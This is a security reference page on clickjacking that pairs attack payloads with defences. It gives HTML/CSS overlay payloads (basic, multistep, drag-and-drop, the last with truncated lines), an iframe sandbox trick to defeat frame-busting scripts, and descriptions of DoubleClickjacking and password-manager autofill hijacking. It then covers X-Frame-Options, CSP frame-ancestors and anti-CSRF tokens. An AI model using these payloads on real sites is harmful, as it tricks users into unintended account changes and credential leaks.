What is Clickjacking

In a clickjacking attack, a **user** is **tricked** into **clicking** an **element** on a webpage that is either **invisible** or disguised as a different element. This manipulation can lead to unintended consequences for the user, such as the downloading of malware, redirection to malicious web pages, provision of credentials or sensitive information, money transfers, or the online purchasing of products.

Prepopulate forms trick

Sometimes is possible to **fill the value of fields of a form using GET parameters when loading a page**. An attacker may abuse this behaviour to fill a form with arbitrary data and send the clickjacking payload so the user press the button Submit.

Populate form with Drag&Drop

If you need the user to **fill a form** but you don't want to directly ask him to write some specific information (like the email and or specific password that you know), you can just ask him to **Drag&Drop** something that will write your controlled data like in this example.

Basic Payload

```
<style>
    iframe {
        position:relative;
        width: 500px;
        height: 700px;
        opacity: 0.1;
        z-index: 2;
    }
    div {
        position:absolute;
        top:470px;
        left:60px;
        z-index: 1;
    }
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
```

Multistep Payload

```
<style>
    iframe {
        position:relative;
        width: 500px;
        height: 500px;
        opacity: 0.1;
        z-index: 2;
    }
    .firstClick , .secondClick {
        position:absolute;
        top:330px;
        left:60px;
        z-index: 1;
    }
    .secondClick {
        left:210px;
    }
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>
```

Drag&Drop + Click payload

```
<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #f00;
}
</style>
</head>
<body>
<div style="height: 20px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 372px;background: #F8F;" class="xss">1. C
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.
<iframe sandbox='allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'att
</body>
</html>
```

XSS + Clickjacking

If you have identified an **XSS attack that requires a user to click** on some element to **trigger** the XSS and the page is **vulnerable to clickjacking**, you could abuse it to trick the user into clicking the button/link.
Example:
You found a **self XSS** in some private details of the account (details that **only you can set and read**). The page with the **form** to set these details is **vulnerable** to **Clickjacking** and you can **prepopulate** the **form** with the GET parameters.
An attacker could prepare a **Clickjacking** attack to that page **prepopulating** the **form** with the **XSS payload** and **tricking** the **user** into **Submit** the form. So, **when the form is submitted** and the values are modified, the **user will execute the XSS**.

DoubleClickjacking

Firstly explained in this post, this technique would ask the victim to double click on a button of a custom page placed in a specific location, and use the timing differences between mousedown and onclick events to load the victim page during the double click so the **victim actually clicks a legit button in the victim page**.

An example could be seen in this video: https://www.youtube.com/watch?v=4rGvRRMrD18

A code example can be found in this page.

> Warning
>
> This technique allows to trick the user to click on 1 place in the victim page bypassing every protection against clickjacking. So the attacker needs to find **sensitive actions that can be done with just 1 click, like OAuth prompts accepting permissions**.

Browser extensions: DOM-based autofill clickjacking

Aside from iframing victim pages, attackers can target browser extension UI elements that are injected into the page. Password managers render autofill dropdowns near focused inputs; by focusing an attacker-controlled field and hiding/occluding the extension's dropdown (opacity/overlay/top-layer tricks), a coerced user click can select a stored item and fill sensitive data into attacker-controlled inputs. This variant requires no iframe exposure and works entirely via DOM/CSS manipulation.

- **For concrete techniques and PoCs see:**

{{#ref}} browser-extension-pentesting-methodology/browext-clickjacking.md {{#endref}}

Strategies to Mitigate Clickjacking

Client-Side Defenses

Scripts executed on the client side can perform actions to prevent Clickjacking:

- Ensuring the application window is the main or top window.
- Making all frames visible.
- Preventing clicks on invisible frames.
- Detecting and alerting users to potential Clickjacking attempts.

However, these frame-busting scripts may be circumvented:

- **Browsers' Security Settings:** Some browsers might block these scripts based on their security settings or lack of JavaScript support.
- **HTML5 iframe `sandbox` Attribute:** An attacker can neutralize frame buster scripts by setting the `sandbox` attribute with `allow-forms` or `allow-scripts` values without `allow-top-navigation`. This prevents the iframe from verifying if it is the top window, e.g.,

```
<iframe
  id="victim_website"
  src="https://victim-website.com"
  sandbox="allow-forms allow-scripts"></iframe>
```

The `allow-forms` and `allow-scripts` values enable actions within the iframe while disabling top-level navigation. To ensure the intended functionality of the targeted site, additional permissions like `allow-same-origin` and `allow-modals` might be necessary, depending on the attack type. Browser console messages can guide which permissions to allow.

Server-Side Defenses

X-Frame-Options

The **`X-Frame-Options` HTTP response header** informs browsers about the legitimacy of rendering a page in a `<frame>` or `<iframe>`, helping to prevent Clickjacking:

- `X-Frame-Options: deny` - No domain can frame the content.
- `X-Frame-Options: sameorigin` - Only the current site can frame the content.
- `X-Frame-Options: allow-from https://trusted.com` - Only the specified 'uri' can frame the page.
  - Note the limitations: if the browser doesn't support this directive, it might not work. Some browsers prefer the CSP frame-ancestors directive.

Content Security Policy (CSP) frame-ancestors directive

`frame-ancestors` directive in CSP is the advised method for Clickjacking protection:

- `frame-ancestors 'none'` - Similar to `X-Frame-Options: deny`.
- `frame-ancestors 'self'` - Similar to `X-Frame-Options: sameorigin`.
- `frame-ancestors trusted.com` - Similar to `X-Frame-Options: allow-from`.

For instance, the following CSP only allows framing from the same domain:

```
Content-Security-Policy: frame-ancestors 'self';
```

Further details and complex examples can be found in the frame-ancestors CSP documentation and Mozilla's CSP frame-ancestors documentation.

Content Security Policy (CSP) with `child-src` and `frame-src`

Content Security Policy (CSP) is a security measure that helps in preventing Clickjacking and other code injection attacks by specifying which sources the browser should allow to load content.

`frame-src` Directive

- Defines valid sources for frames.
- More specific than the `default-src` directive.

```
Content-Security-Policy: frame-src 'self' https://trusted-website.com;
```

This policy allows frames from the same origin (self) and https://trusted-website.com.

`child-src` Directive

- Introduced in CSP level 2 to set valid sources for web workers and frames.
- Acts as a fallback for frame-src and worker-src.

```
Content-Security-Policy: child-src 'self' https://trusted-website.com;
```

This policy allows frames and workers from the same origin (self) and https://trusted-website.com.

Usage Notes:

- Deprecation: child-src is being phased out in favor of frame-src and worker-src.
- Fallback Behavior: If frame-src is absent, child-src is used as a fallback for frames. If both are absent, default-src is used.
- Strict Source Definition: Include only trusted sources in the directives to prevent exploitation.

JavaScript Frame-Breaking Scripts

Although not completely foolproof, JavaScript-based frame-busting scripts can be used to prevent a web page from being framed. Example:

```
if (top !== self) {
  top.location = self.location
}
```

Employing Anti-CSRF Tokens

- **Token Validation:** Use anti-CSRF tokens in web applications to ensure that state-changing requests are made intentionally by the user and not through a Clickjacked page.